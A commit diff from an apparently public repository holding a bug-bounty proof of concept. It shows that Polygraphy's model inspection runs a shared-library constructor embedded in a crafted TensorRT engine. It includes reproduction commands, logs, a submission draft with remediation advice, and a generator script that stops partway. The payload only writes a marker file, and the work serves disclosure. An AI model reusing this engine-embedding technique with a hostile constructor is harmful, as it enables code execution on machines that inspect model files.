Add TensorRT Polygraphy serialized plugin ACE PoC
Browse files- .gitattributes +1 -0
- README.md +59 -0
- evidence/inferred_type_marker.txt +1 -0
- evidence/inferred_type_polygraphy.stderr +1 -0
- evidence/inferred_type_polygraphy.stdout +5 -0
- evidence/isolated_marker.txt +1 -0
- evidence/negative_no_plugin_polygraphy.stderr +0 -0
- evidence/negative_no_plugin_polygraphy.stdout +21 -0
- evidence/trt_serialized_plugin_marker_probe.json +62 -0
- huntr-submission-draft.md +186 -0
- model.engine +3 -0
- trt_serialized_plugin_marker_probe.py +212 -0
.gitattributes
CHANGED
|
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
|
| 33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
| 34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
| 35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
| 33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
| 34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
| 35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
| 36 |
+
model.engine filter=lfs diff=lfs merge=lfs -text
|
README.md
ADDED
|
@@ -0,0 +1,59 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# TensorRT Polygraphy Serialized Plugin ACE PoC
|
| 2 |
+
|
| 3 |
+
This repository contains a benign proof-of-concept TensorRT engine for a Huntr model-file vulnerability report.
|
| 4 |
+
|
| 5 |
+
The key artifact is `model.engine`. It is a TensorRT version-compatible serialized engine that carries a serialized native shared library. The library constructor only writes a marker file when the environment variable `TRT_PLUGIN_MARKER` is set.
|
| 6 |
+
|
| 7 |
+
Do not run this outside an isolated test environment.
|
| 8 |
+
|
| 9 |
+
## Expected Behavior
|
| 10 |
+
|
| 11 |
+
Running Polygraphy's normal inspection command against `model.engine` executes the embedded constructor before TensorRT rejects the intentionally incomplete plugin library:
|
| 12 |
+
|
| 13 |
+
```bash
|
| 14 |
+
cd "$RUN_DIR"
|
| 15 |
+
python3 -m venv .venv
|
| 16 |
+
. .venv/bin/activate
|
| 17 |
+
python -m pip install --upgrade pip wheel setuptools
|
| 18 |
+
python -m pip install polygraphy==0.49.26 tensorrt-cu12==10.16.1.11 tensorrt-lean-cu12==10.16.1.11
|
| 19 |
+
|
| 20 |
+
export LD_LIBRARY_PATH="$RUN_DIR/.venv/lib/python3.12/site-packages/tensorrt_lean_libs:${LD_LIBRARY_PATH:-}"
|
| 21 |
+
export TRT_PLUGIN_MARKER="$RUN_DIR/marker.txt"
|
| 22 |
+
rm -f "$TRT_PLUGIN_MARKER"
|
| 23 |
+
polygraphy inspect model "$RUN_DIR/model.engine"
|
| 24 |
+
cat "$TRT_PLUGIN_MARKER"
|
| 25 |
+
```
|
| 26 |
+
|
| 27 |
+
Expected marker:
|
| 28 |
+
|
| 29 |
+
```text
|
| 30 |
+
marker_constructor pid=<pid> time=<timestamp>
|
| 31 |
+
```
|
| 32 |
+
|
| 33 |
+
Polygraphy may still exit with an inspection/deserialization error similar to:
|
| 34 |
+
|
| 35 |
+
```text
|
| 36 |
+
SymbolAddress for getCreators could not be loaded
|
| 37 |
+
Could not deserialize engine. See log for details.
|
| 38 |
+
```
|
| 39 |
+
|
| 40 |
+
That failure happens after the constructor has already executed.
|
| 41 |
+
|
| 42 |
+
## Why This Matters
|
| 43 |
+
|
| 44 |
+
Polygraphy enables `runtime.engine_host_code_allowed = True` before deserializing engine bytes. TensorRT version-compatible engines can serialize plugin shared libraries. Together, this means a model inspection workflow can execute host code embedded in a model file.
|
| 45 |
+
|
| 46 |
+
This PoC is specifically about Polygraphy's auto-trust behavior during `polygraphy inspect model model.engine`, not an application that explicitly opts into TensorRT host code execution itself.
|
| 47 |
+
|
| 48 |
+
## Files
|
| 49 |
+
|
| 50 |
+
- `model.engine` - crafted TensorRT engine PoC.
|
| 51 |
+
- `trt_serialized_plugin_marker_probe.py` - reproducible generator/validator used to create the proof.
|
| 52 |
+
- `evidence/` - local proof logs and negative-control outputs.
|
| 53 |
+
|
| 54 |
+
## Engine Hash
|
| 55 |
+
|
| 56 |
+
```text
|
| 57 |
+
SHA256: 777cdecefc51699d43862522dd7ea92ec377f2dd9b25d40aa00b72edd74ad758
|
| 58 |
+
Size: 111219596 bytes
|
| 59 |
+
```
|
evidence/inferred_type_marker.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
marker_constructor pid=1356 time=1778690022
|
evidence/inferred_type_polygraphy.stderr
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
[!] Could not deserialize engine. See log for details.
|
evidence/inferred_type_polygraphy.stdout
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[W] 'colored' module is not installed, will not use colors when logging. To enable colors, please install the 'colored' module: python3 -m pip install colored
|
| 2 |
+
[I] Loading bytes from $RUN_DIR/isolated-run/model.engine
|
| 3 |
+
[E] IRuntime::deserializeCudaEngine: Error Code 3: API Usage Error (SymbolAddress for getCreators could not be loaded, check function name against library symbol In untypedSymbolAddress at /_src/runtime/dispatch/libLoader.cpp:378)
|
| 4 |
+
[E] [dispatchClasses.cpp::deserializeCudaEngine::1899] Error Code 2: Internal Error (Assertion engine != nullptr failed. Engine deserialization failed. In deserializeCudaEngine at /_src/runtime/dispatch/dispatchClasses.cpp:1899)
|
| 5 |
+
[E] [runtime.cpp::deserializeCudaEngineEx::264] Error Code 2: Internal Error (Assertion iEngine failed. In deserializeCudaEngineEx at /_src/runtime/dispatch/runtime.cpp:264)
|
evidence/isolated_marker.txt
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
marker_constructor pid=1209 time=1778689895
|
evidence/negative_no_plugin_polygraphy.stderr
ADDED
|
File without changes
|
evidence/negative_no_plugin_polygraphy.stdout
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[W] 'colored' module is not installed, will not use colors when logging. To enable colors, please install the 'colored' module: python3 -m pip install colored
|
| 2 |
+
[I] Loading bytes from $RUN_DIR/cases/vc_embedded_lean_runtime.engine
|
| 3 |
+
[W] hasImplicitBatchDimension is deprecated and always return false.
|
| 4 |
+
[I] ==== TensorRT Engine ====
|
| 5 |
+
Name: Unnamed Network 0 | Explicit Batch Engine
|
| 6 |
+
|
| 7 |
+
---- 1 Engine Input(s) ----
|
| 8 |
+
{x [dtype=float32, shape=(1, 1)]}
|
| 9 |
+
|
| 10 |
+
---- 1 Engine Output(s) ----
|
| 11 |
+
{y [dtype=float32, shape=(1, 1)]}
|
| 12 |
+
|
| 13 |
+
---- Memory ----
|
| 14 |
+
Device Memory: 0 bytes
|
| 15 |
+
|
| 16 |
+
---- 1 Profile(s) (2 Tensor(s) Each) ----
|
| 17 |
+
- Profile: 0
|
| 18 |
+
Tensor: x (Input), Index: 0 | Shapes: min=(1, 1), opt=(1, 1), max=(1, 1)
|
| 19 |
+
Tensor: y (Output), Index: 1 | Shape: (1, 1)
|
| 20 |
+
|
| 21 |
+
---- 1 Layer(s) ----
|
evidence/trt_serialized_plugin_marker_probe.json
ADDED
|
@@ -0,0 +1,62 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"build": {
|
| 3 |
+
"path": "cases/vc_serialized_marker_plugin.engine",
|
| 4 |
+
"plugins_to_serialize": [
|
| 5 |
+
"plugin-work/libmarker_payload.so"
|
| 6 |
+
],
|
| 7 |
+
"size": 111219596
|
| 8 |
+
},
|
| 9 |
+
"compile": {
|
| 10 |
+
"cmd": [
|
| 11 |
+
"g++",
|
| 12 |
+
"-shared",
|
| 13 |
+
"-fPIC",
|
| 14 |
+
"-O2",
|
| 15 |
+
"plugin-work/marker_payload.cpp",
|
| 16 |
+
"-o",
|
| 17 |
+
"plugin-work/libmarker_payload.so"
|
| 18 |
+
],
|
| 19 |
+
"returncode": 0,
|
| 20 |
+
"stderr_tail": "",
|
| 21 |
+
"stdout_tail": ""
|
| 22 |
+
},
|
| 23 |
+
"deserialize_false": {
|
| 24 |
+
"allow_host_code": false,
|
| 25 |
+
"exception": null,
|
| 26 |
+
"marker_after": "",
|
| 27 |
+
"marker_changed": false,
|
| 28 |
+
"ok": false
|
| 29 |
+
},
|
| 30 |
+
"deserialize_true": {
|
| 31 |
+
"allow_host_code": true,
|
| 32 |
+
"exception": null,
|
| 33 |
+
"marker_after": "marker_constructor pid=1115 time=1778689845\n",
|
| 34 |
+
"marker_changed": true,
|
| 35 |
+
"ok": false
|
| 36 |
+
},
|
| 37 |
+
"plugin_lib": "plugin-work/libmarker_payload.so",
|
| 38 |
+
"plugin_removed_before_load": {
|
| 39 |
+
"moved_exists": true,
|
| 40 |
+
"moved_to": "plugin-work/libmarker_payload.removed",
|
| 41 |
+
"original_exists": false
|
| 42 |
+
},
|
| 43 |
+
"polygraphy_inspect": {
|
| 44 |
+
"cmd": [
|
| 45 |
+
"polygraphy",
|
| 46 |
+
"inspect",
|
| 47 |
+
"model",
|
| 48 |
+
"cases/vc_serialized_marker_plugin.engine",
|
| 49 |
+
"--model-type=engine",
|
| 50 |
+
"--show",
|
| 51 |
+
"attrs"
|
| 52 |
+
],
|
| 53 |
+
"marker_after": "marker_constructor pid=1115 time=1778689845\nmarker_constructor pid=1185 time=1778689847\n",
|
| 54 |
+
"marker_changed": true,
|
| 55 |
+
"returncode": 1,
|
| 56 |
+
"stderr_tail": "[!] Could not deserialize engine. See log for details.\n",
|
| 57 |
+
"stdout_tail": "[W] 'colored' module is not installed, will not use colors when logging. To enable colors, please install the 'colored' module: python3 -m pip install colored\n[I] Loading bytes from $RUN_DIR/cases/vc_serialized_marker_plugin.engine\n[E] IRuntime::deserializeCudaEngine: Error Code 3: API Usage Error (SymbolAddress for getCreators could not be loaded, check function name against library symbol In untypedSymbolAddress at /_src/runtime/dispatch/libLoader.cpp:378)\n[E] [dispatchClasses.cpp::deserializeCudaEngine::1899] Error Code 2: Internal Error (Assertion engine != nullptr failed. Engine deserialization failed. In deserializeCudaEngine at /_src/runtime/dispatch/dispatchClasses.cpp:1899)\n[E] [runtime.cpp::deserializeCudaEngineEx::264] Error Code 2: Internal Error (Assertion iEngine failed. In deserializeCudaEngineEx at /_src/runtime/dispatch/runtime.cpp:264)\n"
|
| 58 |
+
},
|
| 59 |
+
"python": "3.12.3 (main, Aug 14 2025, 17:47:21) [GCC 13.3.0]",
|
| 60 |
+
"source": "plugin-work/marker_payload.cpp",
|
| 61 |
+
"tensorrt_version": "10.16.1.11"
|
| 62 |
+
}
|
huntr-submission-draft.md
ADDED
|
@@ -0,0 +1,186 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Huntr Submission Draft: TensorRT Polygraphy Serialized Plugin ACE
|
| 2 |
+
|
| 3 |
+
## Recommended Category
|
| 4 |
+
|
| 5 |
+
Model File Vulnerability - Arbitrary Code Execution at model load/inspection time.
|
| 6 |
+
|
| 7 |
+
Frame this as TensorRT `.engine` load-time ACE through a common model inspection tool. Do not frame it as a generic TensorRT library misuse or as a low-value scanner coverage gap.
|
| 8 |
+
|
| 9 |
+
## Title
|
| 10 |
+
|
| 11 |
+
Polygraphy auto-enables trusted TensorRT plan host code, executing serialized plugin constructors from a `.engine` file during inspection
|
| 12 |
+
|
| 13 |
+
## Target
|
| 14 |
+
|
| 15 |
+
TensorRT serialized engine (`.engine`, `.trt`, `.mytrtfile`) - NVIDIA
|
| 16 |
+
|
| 17 |
+
## Severity
|
| 18 |
+
|
| 19 |
+
Critical
|
| 20 |
+
|
| 21 |
+
## Public PoC Model Repository
|
| 22 |
+
|
| 23 |
+
https://huggingface.co/noshkas/tensorrt-polygraphy-serialized-plugin-ace-poc
|
| 24 |
+
|
| 25 |
+
## Summary
|
| 26 |
+
|
| 27 |
+
Polygraphy's TensorRT engine loader enables `runtime.engine_host_code_allowed = True` before deserializing arbitrary engine bytes. TensorRT version-compatible plans can serialize plugin shared libraries into the engine file. A crafted `.engine` file can therefore carry a native shared object whose constructor executes during a normal model inspection command:
|
| 28 |
+
|
| 29 |
+
```bash
|
| 30 |
+
cd "$RUN_DIR"
|
| 31 |
+
polygraphy inspect model model.engine
|
| 32 |
+
```
|
| 33 |
+
|
| 34 |
+
In the PoC, the embedded native constructor writes a harmless marker file when `TRT_PLUGIN_MARKER` is set. The original plugin `.so` was removed from disk before inspection, and the isolated directory contained only `model.engine`, proving the code was loaded from the engine file. Polygraphy still fails to deserialize the intentionally incomplete plugin after the constructor runs, so the user sees a failed inspection even though host code already executed.
|
| 35 |
+
|
| 36 |
+
This is specifically the Polygraphy auto-trust path during inspection. The victim does not explicitly call `IRuntime::setEngineHostCodeAllowed()` or provide a separate plugin library path.
|
| 37 |
+
|
| 38 |
+
## Impact
|
| 39 |
+
|
| 40 |
+
An attacker can publish a malicious TensorRT engine that embeds native host code. A researcher, CI job, model registry, or security gate that uses Polygraphy to inspect community TensorRT engines can execute attacker-controlled native code simply by inspecting the model file.
|
| 41 |
+
|
| 42 |
+
Organizations using model inspection as a safety gate before loading community engines could pass a malicious file into Polygraphy and execute attacker-controlled code before any inspection result is returned.
|
| 43 |
+
|
| 44 |
+
## Affected Versions Tested
|
| 45 |
+
|
| 46 |
+
- Polygraphy: `0.49.26`
|
| 47 |
+
- TensorRT Python package: `tensorrt-cu12==10.16.1.11`
|
| 48 |
+
- TensorRT lean runtime package: `tensorrt-lean-cu12==10.16.1.11`
|
| 49 |
+
- OS: Ubuntu 24.04
|
| 50 |
+
- GPU: NVIDIA GeForce RTX 5090
|
| 51 |
+
- Driver: 570.195.03
|
| 52 |
+
- Python: 3.12.3
|
| 53 |
+
|
| 54 |
+
## Root Cause
|
| 55 |
+
|
| 56 |
+
Polygraphy reads the engine file bytes and then sets the TensorRT runtime trust flag before deserialization:
|
| 57 |
+
|
| 58 |
+
```python
|
| 59 |
+
runtime.engine_host_code_allowed = True
|
| 60 |
+
```
|
| 61 |
+
|
| 62 |
+
TensorRT documents `engine_host_code_allowed` as the flag required for trusted plans that may contain host code. TensorRT also documents `IBuilderConfig::setPluginsToSerialize` / `plugins_to_serialize`, which serializes plugin shared libraries into version-compatible engines. When such an engine is loaded with host code allowed, the serialized shared library is loaded and its constructor runs.
|
| 63 |
+
|
| 64 |
+
Polygraphy's default inspection workflow therefore turns a model file inspection into a host-code execution sink.
|
| 65 |
+
|
| 66 |
+
## Reproduction Steps
|
| 67 |
+
|
| 68 |
+
Use an isolated CUDA/TensorRT host.
|
| 69 |
+
|
| 70 |
+
```bash
|
| 71 |
+
cd "$RUN_DIR"
|
| 72 |
+
python3 -m venv .venv
|
| 73 |
+
. .venv/bin/activate
|
| 74 |
+
python -m pip install --upgrade pip wheel setuptools
|
| 75 |
+
python -m pip install polygraphy==0.49.26 tensorrt-cu12==10.16.1.11 tensorrt-lean-cu12==10.16.1.11
|
| 76 |
+
```
|
| 77 |
+
|
| 78 |
+
Download the PoC model file from the public Hugging Face repository, then run:
|
| 79 |
+
|
| 80 |
+
```bash
|
| 81 |
+
cd "$RUN_DIR"
|
| 82 |
+
export LD_LIBRARY_PATH="$RUN_DIR/.venv/lib/python3.12/site-packages/tensorrt_lean_libs:${LD_LIBRARY_PATH:-}"
|
| 83 |
+
export TRT_PLUGIN_MARKER="$RUN_DIR/marker.txt"
|
| 84 |
+
rm -f "$TRT_PLUGIN_MARKER"
|
| 85 |
+
polygraphy inspect model "$RUN_DIR/model.engine"
|
| 86 |
+
cat "$TRT_PLUGIN_MARKER"
|
| 87 |
+
```
|
| 88 |
+
|
| 89 |
+
Expected marker output:
|
| 90 |
+
|
| 91 |
+
```text
|
| 92 |
+
marker_constructor pid=<pid> time=<timestamp>
|
| 93 |
+
```
|
| 94 |
+
|
| 95 |
+
Expected Polygraphy output also includes a deserialization failure:
|
| 96 |
+
|
| 97 |
+
```text
|
| 98 |
+
SymbolAddress for getCreators could not be loaded
|
| 99 |
+
Could not deserialize engine. See log for details.
|
| 100 |
+
```
|
| 101 |
+
|
| 102 |
+
The marker is written before that failure.
|
| 103 |
+
|
| 104 |
+
## Reproduction From Generator Script
|
| 105 |
+
|
| 106 |
+
The included `trt_serialized_plugin_marker_probe.py` generates the engine and runs negative controls:
|
| 107 |
+
|
| 108 |
+
```bash
|
| 109 |
+
cd "$RUN_DIR"
|
| 110 |
+
python trt_serialized_plugin_marker_probe.py --out results/trt_serialized_plugin_marker_probe.json
|
| 111 |
+
```
|
| 112 |
+
|
| 113 |
+
The script:
|
| 114 |
+
|
| 115 |
+
1. Builds a harmless native shared library with a constructor gated by `TRT_PLUGIN_MARKER`.
|
| 116 |
+
2. Builds a version-compatible TensorRT engine with `config.plugins_to_serialize = ["libmarker_payload.so"]`.
|
| 117 |
+
3. Removes the original `.so` before loading.
|
| 118 |
+
4. Confirms `runtime.engine_host_code_allowed = False` does not execute the marker.
|
| 119 |
+
5. Confirms `runtime.engine_host_code_allowed = True` executes the marker.
|
| 120 |
+
6. Confirms `polygraphy inspect model model.engine` executes the marker.
|
| 121 |
+
|
| 122 |
+
## Evidence
|
| 123 |
+
|
| 124 |
+
PoC engine:
|
| 125 |
+
|
| 126 |
+
```text
|
| 127 |
+
SHA256: 777cdecefc51699d43862522dd7ea92ec377f2dd9b25d40aa00b72edd74ad758
|
| 128 |
+
Size: 111219596 bytes
|
| 129 |
+
```
|
| 130 |
+
|
| 131 |
+
Primary result:
|
| 132 |
+
|
| 133 |
+
```json
|
| 134 |
+
{
|
| 135 |
+
"deserialize_false": {
|
| 136 |
+
"allow_host_code": false,
|
| 137 |
+
"marker_changed": false,
|
| 138 |
+
"ok": false
|
| 139 |
+
},
|
| 140 |
+
"deserialize_true": {
|
| 141 |
+
"allow_host_code": true,
|
| 142 |
+
"marker_changed": true,
|
| 143 |
+
"ok": false
|
| 144 |
+
},
|
| 145 |
+
"polygraphy_inspect": {
|
| 146 |
+
"returncode": 1,
|
| 147 |
+
"marker_changed": true
|
| 148 |
+
}
|
| 149 |
+
}
|
| 150 |
+
```
|
| 151 |
+
|
| 152 |
+
Isolated proof:
|
| 153 |
+
|
| 154 |
+
```text
|
| 155 |
+
marker_constructor pid=1209 time=1778689895
|
| 156 |
+
```
|
| 157 |
+
|
| 158 |
+
Default command proof, without `--model-type=engine`:
|
| 159 |
+
|
| 160 |
+
```text
|
| 161 |
+
marker_constructor pid=1356 time=1778690022
|
| 162 |
+
```
|
| 163 |
+
|
| 164 |
+
Negative control:
|
| 165 |
+
|
| 166 |
+
A version-compatible engine without a serialized plugin inspected successfully and did not create a marker.
|
| 167 |
+
|
| 168 |
+
## Distinction From Nearby Pending Reports
|
| 169 |
+
|
| 170 |
+
Huntr's public TensorRT listings show pending report titles involving `IRuntime::loadRuntime()` and `setEngineHostCodeAllowed()`. The body/details are not public, so I cannot verify whether they cover this exact path.
|
| 171 |
+
|
| 172 |
+
This report is distinct because the trigger is Polygraphy's normal model-inspection command. The user does not explicitly opt into trusted host code. Polygraphy automatically sets the TensorRT trust flag and deserializes the model file, allowing a serialized plugin constructor embedded in the `.engine` to execute during inspection.
|
| 173 |
+
|
| 174 |
+
## Official References
|
| 175 |
+
|
| 176 |
+
- Huntr Participation Guidelines: https://huntr.com/guidelines
|
| 177 |
+
- TensorRT `IBuilderConfig::setPluginsToSerialize`: https://docs.nvidia.com/deeplearning/tensorrt/latest/_static/c-api/classnvinfer1_1_1_i_builder_config.html
|
| 178 |
+
- TensorRT Plugin API serialized plugin library loading: https://docs.nvidia.com/deeplearning/tensorrt/latest/inference-library/plugins-api-migration.html
|
| 179 |
+
- TensorRT version-compatible plans and `engine_host_code_allowed`: https://docs.nvidia.com/deeplearning/tensorrt/10.13.3/inference-library/advanced.html
|
| 180 |
+
- Polygraphy loader source: https://docs.nvidia.com/deeplearning/tensorrt/latest/_static/polygraphy/_modules/polygraphy/backend/trt/loader.html
|
| 181 |
+
|
| 182 |
+
## Suggested Remediation
|
| 183 |
+
|
| 184 |
+
Polygraphy should not silently enable `engine_host_code_allowed` for untrusted engine files. Require an explicit command-line opt-in such as `--allow-engine-host-code`, display a strong warning, and default to rejecting TensorRT plans that require host code during inspection.
|
| 185 |
+
|
| 186 |
+
For safer inspection workflows, parse metadata without deserializing host-code-carrying plans where possible, or run deserialization in a sandboxed worker with no filesystem/network access.
|
model.engine
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:777cdecefc51699d43862522dd7ea92ec377f2dd9b25d40aa00b72edd74ad758
|
| 3 |
+
size 111219596
|
trt_serialized_plugin_marker_probe.py
ADDED
|
@@ -0,0 +1,212 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
import argparse
|
| 3 |
+
import json
|
| 4 |
+
import os
|
| 5 |
+
import shutil
|
| 6 |
+
import subprocess
|
| 7 |
+
import sys
|
| 8 |
+
import textwrap
|
| 9 |
+
from pathlib import Path
|
| 10 |
+
|
| 11 |
+
import tensorrt as trt
|
| 12 |
+
|
| 13 |
+
|
| 14 |
+
C_SOURCE = r"""
|
| 15 |
+
#include <stdio.h>
|
| 16 |
+
#include <stdlib.h>
|
| 17 |
+
#include <time.h>
|
| 18 |
+
#include <unistd.h>
|
| 19 |
+
|
| 20 |
+
__attribute__((constructor))
|
| 21 |
+
static void marker_constructor(void) {
|
| 22 |
+
const char *path = getenv("TRT_PLUGIN_MARKER");
|
| 23 |
+
if (!path || !path[0]) {
|
| 24 |
+
return;
|
| 25 |
+
}
|
| 26 |
+
FILE *f = fopen(path, "a");
|
| 27 |
+
if (!f) {
|
| 28 |
+
return;
|
| 29 |
+
}
|
| 30 |
+
time_t now = time(NULL);
|
| 31 |
+
fprintf(f, "marker_constructor pid=%ld time=%ld\n", (long)getpid(), (long)now);
|
| 32 |
+
fclose(f);
|
| 33 |
+
}
|
| 34 |
+
|
| 35 |
+
extern "C" int trt_marker_export(void) {
|
| 36 |
+
return 1337;
|
| 37 |
+
}
|
| 38 |
+
"""
|
| 39 |
+
|
| 40 |
+
|
| 41 |
+
def run(cmd, **kwargs):
|
| 42 |
+
proc = subprocess.run(cmd, text=True, capture_output=True, **kwargs)
|
| 43 |
+
return {
|
| 44 |
+
"cmd": cmd,
|
| 45 |
+
"returncode": proc.returncode,
|
| 46 |
+
"stdout_tail": proc.stdout[-4000:],
|
| 47 |
+
"stderr_tail": proc.stderr[-4000:],
|
| 48 |
+
}
|
| 49 |
+
|
| 50 |
+
|
| 51 |
+
def compile_marker_lib(work: Path):
|
| 52 |
+
src = work / "marker_payload.cpp"
|
| 53 |
+
lib = work / "libmarker_payload.so"
|
| 54 |
+
src.write_text(C_SOURCE)
|
| 55 |
+
result = run(["g++", "-shared", "-fPIC", "-O2", str(src), "-o", str(lib)])
|
| 56 |
+
if result["returncode"] != 0:
|
| 57 |
+
raise RuntimeError(json.dumps(result, indent=2))
|
| 58 |
+
return src, lib, result
|
| 59 |
+
|
| 60 |
+
|
| 61 |
+
def build_engine(path: Path, plugin_lib: Path):
|
| 62 |
+
logger = trt.Logger(trt.Logger.WARNING)
|
| 63 |
+
builder = trt.Builder(logger)
|
| 64 |
+
network = builder.create_network(
|
| 65 |
+
